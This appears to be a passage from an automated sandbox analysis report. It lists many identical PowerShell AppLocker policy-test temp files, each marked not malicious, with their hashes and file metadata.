SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2oyelmsj.gd5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2rdgl13t.r3s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2rfsgzlt.ifd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2zhu2no2.iaq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3aviv0d1.np4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bdmr2xr2.jw2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjdkxr3d.rah.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bmeu3oyt.xfz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bni1ewuh.asi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bu30zysp.uni.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dezggigv.1vn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dhgqfpnz.xrp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_etpwzy1q.qzx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f5olrizu.2og.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3bdmdtl.aio.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gf22wybw.5bd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gqyd213x.1fv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gzemshyw.3gi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhhf303o.vw5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hyn1z5vk.bpc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hzozcwxe.hlf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrrsj3yb.nhx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1iszat0.22q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3dlfxo4.3ja.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lcbj4cra.ayk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkylyvok.hh5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lpp4jtep.el0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lw1pv0fq.qkl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_me3y00uj.q44.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mzslapqu.o1i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmbom2yc.omv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nueezh51.1v5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pneuaxv2.3ey.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pz4gbeao.mbq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
